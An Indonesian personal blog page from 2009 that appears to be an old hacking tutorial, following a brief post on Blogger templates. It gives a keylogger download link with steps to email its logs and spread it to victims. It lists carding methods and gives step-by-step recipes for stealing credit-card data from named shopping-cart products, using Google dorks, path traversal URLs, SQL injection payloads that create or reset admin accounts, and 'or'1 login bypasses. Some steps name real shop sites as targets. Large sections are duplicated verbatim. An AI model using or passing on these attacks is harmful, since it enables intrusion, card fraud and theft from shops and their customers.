by Cara lain untuk merubah template di blogger seandainya template yang digunakan adalah template jenis XML.
- Dapatkan kode XML untuk template yang diinginkan.
- Salin seluruh kode ke box tempat kode template di blogger dan klik simpan perubahan.
Kamis, 07 Mei 2009
Cara lain merubah template(Blogging)
Jumat, 13 Maret 2009
CARA HACK
Cara Melakukan Hack
-
Banyak artikel tutorial tentang hack dengan cara yang berbeda beda disini gue coba jelasin bagaimana cara melakukan hack dengan remote akses. Yang artinya kalian tidak punya akses ke komputer tersebut namun kita bisa mendapatkan segala aktifitas yang dilakukan oleh komputer target mulai dari web log, chat log dan key stroke, semua bisa kalian dapatkan.
Artikel ini tidak bermaksud untuk memberitahukan kepada kalian bagaimana cara melakukan tindakan hacking atau menganjurkan kalian untuk melakukan tindakan hacking, hanya untuk berbagi pengalaman dan sharing.
Pertama yang harus kalian lakukan adalah mendapatkan software yang bernama keylogger merupakan tool yang merekam semua aktifitas pada keyboard target komputer.
Download Software :http://www.ziddu.com/download/3170646/Perfect.Keylogger.v1.6.5.0.zip.html
Kedua adalah melakukan setup pada software tersebut untuk mendapatkan log file yang akan dikirim kepada email yang tersetup pada pilih option pada software ini.
keterangan gambar :
1. email penerima log attachment
2. SMTP Server
3. username SMPT server
4. password SMPT server
ketiga lakukan remote installation dengan mengcompile file .exe bisa software apa saja.
Untuk melakukan compile remote installation sangat mudah kita dipandu dengan menu Wizard seperti pada gambar diatas.
langkah terakhir adalah menyebarkan file .exe tersebut kepada komputer target lakukan dengan cara kalian bagamana agar target mau melakukan instal software yang sudah kalian compile ini cara hack yang bener benar terbukti.Sekali terinstal maka semua aktifitas komputer target akan terekam dan tidak terdetesi oleh Anti virus. Software ini tidak gue complie jadi masih fresh.
CARA CURI KARTU KREDIT
Para hacker sangat suka sekali kejahatan yang satu ini, kenapa? Karena kalau cuma nge-hack website atau deface (merubah tampilan/link website) merupakan sesuatu yang tidak ada untungnya. Dan hal ini bisa ke deteksi dan pelaku kejahatan bisa ketangkap dengan mudah kalau sites yang dia masuki memiliki TRACKER (program pelacak ip/link) atau LOG FILE (file yang mencatat aktivitas user/ip yang masuk ke website). Kalau carding mereka bisa bebas tanpa jejak dan juga kadang-kadang setelah mendapatkan datanya, mereka sebarkan antar hacker sehingga susah dilacak orang pertama yang mencuri data kartu kredit. Kejadian baru-baru ini yaitu situs internet teroris Indonesia juga di register dari hasil carding.
Ada beberapa cara yang digunakan oleh hacker dalam mencuri kartu kredit, antara lain:
1. Paket sniffer, cara ini adalah cara yang paling cepat untuk mendapatkan data apa saja. Konsep kerjanya mereka cukup memakai program yang dapat melihat atau membuat logging file dari data yang dikirim oleh website e-commerce (penjualan online) yang mereka incar. Pada umumnya mereka mengincar website yang tidak dilengkapi security encryption atau situs yang tidak memiliki security yang bagus.
2. Membuat program spyware, trojan, worm dan sejenisnya yang berfungsi seperti keylogger (keyboard logger, program mencatat aktifitas keyboard) dan program ini disebar lewat E-mail Spamming (taruh file-nya di attachment), mirc (chatting), messenger (yahoo, MSN), atau situs-situs tertentu dengan icon atau iming-iming yang menarik netter untuk mendownload dan membuka file tersebut. Program ini akan mencatat semua aktivitas komputer anda ke dalam sebuah file, dan akan mengirimnya ke email hacker. Kadang-kadang program ini dapat dijalankan langsung kalau anda masuk ke situs yang di buat hacker atau situs porno.
3. Membuat situs phising, yaitu situs sejenis atau kelihatan sama seperti situs aslinya. contoh di Indonesia ketika itu situs klik bca (www.klikbca.com), pernah mengalami hal yang sama. situs tersebut tampilannya sama seperti klikbca tetapi alamatnya dibikin beberapa yang berbeda seperti www.clikbca.com, www.kikbca.com, dll, jadi kalau netter yang salah ketik, akan nyasar ke situs tersebut. Untungnya orang yang membuat situs tersebut katanya tidak bermaksud jahat. Nah kalau hacker carding yang buat tuh situs, siap-siap deh kartu kredit anda bakal jebol.
4. Menjebol situs e-commerce itu langsung dan mencuri semua data para pelanggannya. Cara ini agak sulit dan perlu pakar hacker atau hacker yang sudah pengalaman untuk melakukannya. Pada umumnya mereka memakai metode injection (memasukan script yang dapat dijalankan oleh situs/server) bagi situs yang memiliki firewall. Ada beberapa cara injection antara lain yang umum digunakan html injection dan SQL injection. Bagi situs yang tidak memiliki security atau firewall, siap-siaplah dikerjain abis-abisan.
Ada beberapa cara lagi yang dilakukan para hacker, tapi cara-cara di atas adalah cara yang paling umum dilakukan hacker untuk carding. Cara yang tidak umum akan dijelaskan nanti di lain waktu. Kejahatan tidak hanya terjadi karena ada niat dari si pelaku, tetapi karena adanya kesempatan, waspadalah... waspadalah...
Ada beberapa cara yang digunakan oleh hacker dalam mencuri kartu kredit, antara lain:
1. Paket sniffer, cara ini adalah cara yang paling cepat untuk mendapatkan data apa saja. Konsep kerjanya mereka cukup memakai program yang dapat melihat atau membuat logging file dari data yang dikirim oleh website e-commerce (penjualan online) yang mereka incar. Pada umumnya mereka mengincar website yang tidak dilengkapi security encryption atau situs yang tidak memiliki security yang bagus.
2. Membuat program spyware, trojan, worm dan sejenisnya yang berfungsi seperti keylogger (keyboard logger, program mencatat aktifitas keyboard) dan program ini disebar lewat E-mail Spamming (taruh file-nya di attachment), mirc (chatting), messenger (yahoo, MSN), atau situs-situs tertentu dengan icon atau iming-iming yang menarik netter untuk mendownload dan membuka file tersebut. Program ini akan mencatat semua aktivitas komputer anda ke dalam sebuah file, dan akan mengirimnya ke email hacker. Kadang-kadang program ini dapat dijalankan langsung kalau anda masuk ke situs yang di buat hacker atau situs porno.
3. Membuat situs phising, yaitu situs sejenis atau kelihatan sama seperti situs aslinya. contoh di Indonesia ketika itu situs klik bca (www.klikbca.com), pernah mengalami hal yang sama. situs tersebut tampilannya sama seperti klikbca tetapi alamatnya dibikin beberapa yang berbeda seperti www.clikbca.com, www.kikbca.com, dll, jadi kalau netter yang salah ketik, akan nyasar ke situs tersebut. Untungnya orang yang membuat situs tersebut katanya tidak bermaksud jahat. Nah kalau hacker carding yang buat tuh situs, siap-siap deh kartu kredit anda bakal jebol.
4. Menjebol situs e-commerce itu langsung dan mencuri semua data para pelanggannya. Cara ini agak sulit dan perlu pakar hacker atau hacker yang sudah pengalaman untuk melakukannya. Pada umumnya mereka memakai metode injection (memasukan script yang dapat dijalankan oleh situs/server) bagi situs yang memiliki firewall. Ada beberapa cara injection antara lain yang umum digunakan html injection dan SQL injection. Bagi situs yang tidak memiliki security atau firewall, siap-siaplah dikerjain abis-abisan.
Ada beberapa cara lagi yang dilakukan para hacker, tapi cara-cara di atas adalah cara yang paling umum dilakukan hacker untuk carding. Cara yang tidak umum akan dijelaskan nanti di lain waktu. Kejahatan tidak hanya terjadi karena ada niat dari si pelaku, tetapi karena adanya kesempatan, waspadalah... waspadalah...
Jumat, 06 Maret 2009
Selasa, 17 Februari 2009
CARA HACK DATABASE SITUS
bring me the hack
Cara Dapet CC (credit card)
DCShop
Mendowload file log order DCShop pada folder orders!
1. Cari target dahulu Website DCShop di google.com, dengan keyword allinurl:/DCShop/
2. DCShop akan menyimpan file log ccnya di /DCShop/orders/orders.txt atau
/DCShop/Orders/orders.txt
3. Nah.. utk melihat file log ccnya, ada di : http://www.contoh.com/.../DCShop/orders/orders.txt
commerceSQL
1. Cari target dahulu Website commerceSQL di google.com, dengan keyword allinurl:/commercesql/
2. Misalkan kita mendapat target dg url http://www.contoh.com/commercesql/blablabla , maka :
3. Ganti url tsb menjadi -> www.contoh.com/cgi-bin/commercesql/index.cgi?page=
4. Contoh untuk melihat admin config -> www.contoh.com/cgi-bin/commercesql/index.cgi?page=../admin/admin_conf.pl
5. Contoh untuk melihat admin manager -> http://www.contoh.com/cgi-bin/commercesql/index.cgi?page=../admin/manager.cgi
6. Sedangkan utk melihat file log/ccnya -> http://www.contoh.com/cgi-bin/commercesql/index.cgi?page=../admin/files/order.log
PDshopro
1. Cari target dahulu Website PDshopro di google.com, dengan keyword allinurl:/shop/category.asp/catid=
2. Kita lihat dulu konfirgurasi databasenya dg mengganti urlnya menjadi : www.contoh.com/admin/dbsetup.asp
3. Contoh target : http://www.marktwainbooks.com/admin/dbsetup.asp
4. Kita akan mendapatkan output kira² dg keterangan sbb:
5. Nah, dari keterangan diatas , kita dapati file databasenya dgn nama sdatapdshoppro.mdb
6. Sekarang, untuk mendownload file sdatapdshoppro.mdb dapat dilakukan dg merubah urlnya menjadi:
7. http://www.marktwainbooks.com/data/pdshoppro.mdb
8. Untuk membuka file .mdb-nya dengan menggunakan program Microsoft Access
9. Try this one!!
EShop
Mendowload file log order EShop pada folder database!
1. Cari target dahulu Website EShop di google.com, dengan keyword allinurl:/eshop/
2. DCShop akan menyimpan file log ccnya di /cg-bin/eshop/database/order.mdb
3. Nah.. utk melihat file log ccnya, ada di : http://www.contoh.com/.../cg-bin/eshop/database/order.mdb
4. Selamat Mencoba
Cart32 v3.5a
1. Cari target dahulu Website Cart32 min v3.5a di google.com, dengan keyword allinurl:/cart32.exe/
2. Ambil salah satu site hasil pencarian, misalnya : http://www.wideopen.net/wrburns_s/cgi-bin/cart32.exe/NoItemFound
3. Ganti url tsb diakhir stringnya menjadi http://www.wideopen.net/wrburns_s/cgi-bin/cart32.exe/error <-- setelah string /cart32.exe/ ditambah kata error 4. Bila kita mendapati page error dg keterangan instalasi dibawahnya, berarti kita sukses! 5. Sekarang, kita menuju pada keterangan di bawahnya, geser halaman kebawah, dan cari bagian Page Setup and Directory 6. Kalau dibagian tersebut terdapat list file dgn format/akhiran .c32 berarti di site tsb. terdapat file berisi data cc's! 7. Copy salah satu file .c32 yg ada atau semuanya ke notepad atau program text editor lainnya.... 8. Ganti string url tsb. menjadi seperti ini : http://www.wideopen.net/wrburns_s/cgi-bin/cart32/ <-- dimana string .exe dihapus/dihilangkan! 9. Nah.., paste satu per satu, file .c32 ke akhir url yg sudah dimodifikasi tadi, dengan format http://www.contoh.com/cart32/ 10. Contoh http://www.wideopen.net/wrburns_s/cgi-bin/cart32/WRBURNS-001065.c32 Ok, semoga berhasil!!!! VP-ASP Shopping Cart 5.0 Cara II SQL Injection vulnerability pada script 'shopdisplayproducts.asp' 1. Cari target dahulu Website VP-ASP di google.com, dengan keyword allinurl:/vpasp/shopdisplayproducts.asp 2. Buka url target dan tambahkan string berikut di akhir bagian shopdisplayproducts.asp http://.../vpasp/shopdisplayproducts.asp?cat=qwerty'%20union%20select%20fldauto,fldpassword%20from%20tbluser%20where%20fldusername='admin'%20and%20fldpassword%20like%20'a%25'-- 3. Ganti²lah nilai dari string url terakhir dg: %20'a%25'-- %20'b%25'-- %20'c%25'-- dst... 4. Naah.. kalau berhasil, kita akan mendapatkan informasi username dan password admin! 5. Untuk login admin ke http://.../vpasp/shopadmin.asp VP-ASP Shopping Cart 5.0 SQL Injection vulnerability pada script 'shopsearch.asp' 1. Cari target dahulu Website VP-ASP di google.com, dengan keyword allinurl:/vpasp/shopsearch.asp 2. Buka url target dan utk membuat admin baru, postingkan data berikut satu per satu pada bagian search engine : Keyword=&category=5); insert into tbluser (fldusername) values ('')--&SubCategory=&hide=&action.x=46&action.y=6 Keyword=&category=5); update tbluser set fldpassword='' where fldusername=''--&SubCategory=All&action.x=33&action.y=6 Keyword=&category=3); update tbluser set fldaccess='1' where fldusername=''--&SubCategory=All&action.x=33&action.y=6 jangan lupa untuk mengganti dan sesuai selera!: 3. Untuk mengganti password admin, masukkan keyword berikut : Keyword=&category=5); update tbluser set fldpassword='' where fldusername='admin'--&SubCategory=All&action.x=33&action.y=6 4. Untuk login admin, ada di http://.../vpasp/shopadmin.asp 5. Semoga berhasil!! Meta Cart Details Exploit : Access langsung pada target url dimana letak file database pada web tertentu yang di install metacart system. RUMUS : http://targetshop/database/metacart.mdb http://Targetshop/metacart/database/metacart.mdb Keywords di google: cart,METACART Sales Cart 1.Buka Google.Com dan gunakan keyword Lobby.asp 2.Bila menemukan site www.asu.com/mall/lobby.asp ganti dng www.asu.com/fpdb/shop.mdb Selamat mencoba....!! BUG pada shopdbtest.asp 1.Buka google"Kenapa google ? Karena Google adalah Search engine temannya para hacker and cracker 2.Keyword "shopadmin.asp" tanpa tanda kutip 3.Cari yang Ujungnya shopadmin .asp contoh:http://www.youngsliquors.com/winestore/shopadmin.asp 4.Masukkan Rumus ini "Http://www.[Nama domain]/dir/shopdbtest.asp contoh:http://www.youngsliquors.com/winestore/shopdbtest.asp 5.Trus lihat apa nama databasenya and letaknya pada:xDatabase and xDblocation contoh : xDatabase : shopping300 xDatabase :../../../../www/youngsliquors/5498761211 6.Trus kita masukin rumusnya Http://www.[Nama domain]/dir/ *.mdb > contoh : http://www.youngsliquors.com/winestore/shopping300.mdb
Trus baca deh .mdb-nya pakai Ms.acces
selamat mencoba.
1. Buka browsing/url www.google.co.id
2. Kemudian ketik => shopadmin.asp
3. Kalau sudah dapat target nya misalnya salah satu alamat site nya yg ada di google :
contoh : http://www.partsupply.in.th/shopadmin.asp
4. Langkah selanjutnya kamu gunakan teknik SQL Injection
user : 'or'1
pass : 'or'1
5. Trus kamu buka file2 yang ada disana satu persatu. Dapat deh....... CC yg kita inginkan. Kalo kamu mendapatkan nomor credit card (CC) artinya kamu bernasib baik. Tapi kalo belum ada nomor credit card (CC) disana, artinya kamu belum beruntung. Coba cari lagi target lain.
SunShop 3.2
1. keyword:"Powered by SunShop 3.2" atau: inurl:"/sunshop/index.php?action="
2. contoh http://www.dohertysgym.com/sunshop/index.php
3. ganti kata index.php dengan admin jadi :
4. http://www.dohertysgym.com/sunshop/admin
5. login pake user: admin pass: 'or''='
//------- Penutup --------
Cara Dapet CC (credit card)
DCShop
Mendowload file log order DCShop pada folder orders!
1. Cari target dahulu Website DCShop di google.com, dengan keyword allinurl:/DCShop/
2. DCShop akan menyimpan file log ccnya di /DCShop/orders/orders.txt atau
/DCShop/Orders/orders.txt
3. Nah.. utk melihat file log ccnya, ada di : http://www.contoh.com/.../DCShop/orders/orders.txt
commerceSQL
1. Cari target dahulu Website commerceSQL di google.com, dengan keyword allinurl:/commercesql/
2. Misalkan kita mendapat target dg url http://www.contoh.com/commercesql/blablabla , maka :
3. Ganti url tsb menjadi -> www.contoh.com/cgi-bin/commercesql/index.cgi?page=
4. Contoh untuk melihat admin config -> www.contoh.com/cgi-bin/commercesql/index.cgi?page=../admin/admin_conf.pl
5. Contoh untuk melihat admin manager -> http://www.contoh.com/cgi-bin/commercesql/index.cgi?page=../admin/manager.cgi
6. Sedangkan utk melihat file log/ccnya -> http://www.contoh.com/cgi-bin/commercesql/index.cgi?page=../admin/files/order.log
PDshopro
1. Cari target dahulu Website PDshopro di google.com, dengan keyword allinurl:/shop/category.asp/catid=
2. Kita lihat dulu konfirgurasi databasenya dg mengganti urlnya menjadi : www.contoh.com/admin/dbsetup.asp
3. Contoh target : http://www.marktwainbooks.com/admin/dbsetup.asp
4. Kita akan mendapatkan output kira² dg keterangan sbb:
5. Nah, dari keterangan diatas , kita dapati file databasenya dgn nama sdatapdshoppro.mdb
6. Sekarang, untuk mendownload file sdatapdshoppro.mdb dapat dilakukan dg merubah urlnya menjadi:
7. http://www.marktwainbooks.com/data/pdshoppro.mdb
8. Untuk membuka file .mdb-nya dengan menggunakan program Microsoft Access
9. Try this one!!
EShop
Mendowload file log order EShop pada folder database!
1. Cari target dahulu Website EShop di google.com, dengan keyword allinurl:/eshop/
2. DCShop akan menyimpan file log ccnya di /cg-bin/eshop/database/order.mdb
3. Nah.. utk melihat file log ccnya, ada di : http://www.contoh.com/.../cg-bin/eshop/database/order.mdb
4. Selamat Mencoba
Cart32 v3.5a
1. Cari target dahulu Website Cart32 min v3.5a di google.com, dengan keyword allinurl:/cart32.exe/
2. Ambil salah satu site hasil pencarian, misalnya : http://www.wideopen.net/wrburns_s/cgi-bin/cart32.exe/NoItemFound
3. Ganti url tsb diakhir stringnya menjadi http://www.wideopen.net/wrburns_s/cgi-bin/cart32.exe/error <-- setelah string /cart32.exe/ ditambah kata error 4. Bila kita mendapati page error dg keterangan instalasi dibawahnya, berarti kita sukses! 5. Sekarang, kita menuju pada keterangan di bawahnya, geser halaman kebawah, dan cari bagian Page Setup and Directory 6. Kalau dibagian tersebut terdapat list file dgn format/akhiran .c32 berarti di site tsb. terdapat file berisi data cc's! 7. Copy salah satu file .c32 yg ada atau semuanya ke notepad atau program text editor lainnya.... 8. Ganti string url tsb. menjadi seperti ini : http://www.wideopen.net/wrburns_s/cgi-bin/cart32/ <-- dimana string .exe dihapus/dihilangkan! 9. Nah.., paste satu per satu, file .c32 ke akhir url yg sudah dimodifikasi tadi, dengan format http://www.contoh.com/cart32/ 10. Contoh http://www.wideopen.net/wrburns_s/cgi-bin/cart32/WRBURNS-001065.c32 Ok, semoga berhasil!!!! VP-ASP Shopping Cart 5.0 Cara II SQL Injection vulnerability pada script 'shopdisplayproducts.asp' 1. Cari target dahulu Website VP-ASP di google.com, dengan keyword allinurl:/vpasp/shopdisplayproducts.asp 2. Buka url target dan tambahkan string berikut di akhir bagian shopdisplayproducts.asp http://.../vpasp/shopdisplayproducts.asp?cat=qwerty'%20union%20select%20fldauto,fldpassword%20from%20tbluser%20where%20fldusername='admin'%20and%20fldpassword%20like%20'a%25'-- 3. Ganti²lah nilai dari string url terakhir dg: %20'a%25'-- %20'b%25'-- %20'c%25'-- dst... 4. Naah.. kalau berhasil, kita akan mendapatkan informasi username dan password admin! 5. Untuk login admin ke http://.../vpasp/shopadmin.asp VP-ASP Shopping Cart 5.0 SQL Injection vulnerability pada script 'shopsearch.asp' 1. Cari target dahulu Website VP-ASP di google.com, dengan keyword allinurl:/vpasp/shopsearch.asp 2. Buka url target dan utk membuat admin baru, postingkan data berikut satu per satu pada bagian search engine : Keyword=&category=5); insert into tbluser (fldusername) values ('')--&SubCategory=&hide=&action.x=46&action.y=6 Keyword=&category=5); update tbluser set fldpassword='' where fldusername=''--&SubCategory=All&action.x=33&action.y=6 Keyword=&category=3); update tbluser set fldaccess='1' where fldusername=''--&SubCategory=All&action.x=33&action.y=6 jangan lupa untuk mengganti dan sesuai selera!: 3. Untuk mengganti password admin, masukkan keyword berikut : Keyword=&category=5); update tbluser set fldpassword='' where fldusername='admin'--&SubCategory=All&action.x=33&action.y=6 4. Untuk login admin, ada di http://.../vpasp/shopadmin.asp 5. Semoga berhasil!! Meta Cart Details Exploit : Access langsung pada target url dimana letak file database pada web tertentu yang di install metacart system. RUMUS : http://targetshop/database/metacart.mdb http://Targetshop/metacart/database/metacart.mdb Keywords di google: cart,METACART Sales Cart 1.Buka Google.Com dan gunakan keyword Lobby.asp 2.Bila menemukan site www.asu.com/mall/lobby.asp ganti dng www.asu.com/fpdb/shop.mdb Selamat mencoba....!! BUG pada shopdbtest.asp 1.Buka google"Kenapa google ? Karena Google adalah Search engine temannya para hacker and cracker 2.Keyword "shopadmin.asp" tanpa tanda kutip 3.Cari yang Ujungnya shopadmin .asp contoh:http://www.youngsliquors.com/winestore/shopadmin.asp 4.Masukkan Rumus ini "Http://www.[Nama domain]/dir/shopdbtest.asp contoh:http://www.youngsliquors.com/winestore/shopdbtest.asp 5.Trus lihat apa nama databasenya and letaknya pada:xDatabase and xDblocation contoh : xDatabase : shopping300 xDatabase :../../../../www/youngsliquors/5498761211 6.Trus kita masukin rumusnya Http://www.[Nama domain]/dir/ *.mdb > contoh : http://www.youngsliquors.com/winestore/shopping300.mdb
Trus baca deh .mdb-nya pakai Ms.acces
selamat mencoba.
1. Buka browsing/url www.google.co.id
2. Kemudian ketik => shopadmin.asp
3. Kalau sudah dapat target nya misalnya salah satu alamat site nya yg ada di google :
contoh : http://www.partsupply.in.th/shopadmin.asp
4. Langkah selanjutnya kamu gunakan teknik SQL Injection
user : 'or'1
pass : 'or'1
5. Trus kamu buka file2 yang ada disana satu persatu. Dapat deh....... CC yg kita inginkan. Kalo kamu mendapatkan nomor credit card (CC) artinya kamu bernasib baik. Tapi kalo belum ada nomor credit card (CC) disana, artinya kamu belum beruntung. Coba cari lagi target lain.
SunShop 3.2
1. keyword:"Powered by SunShop 3.2" atau: inurl:"/sunshop/index.php?action="
2. contoh http://www.dohertysgym.com/sunshop/index.php
3. ganti kata index.php dengan admin jadi :
4. http://www.dohertysgym.com/sunshop/admin
5. login pake user: admin pass: 'or''='
//------- Penutup --------
Langganan:
Postingan (Atom)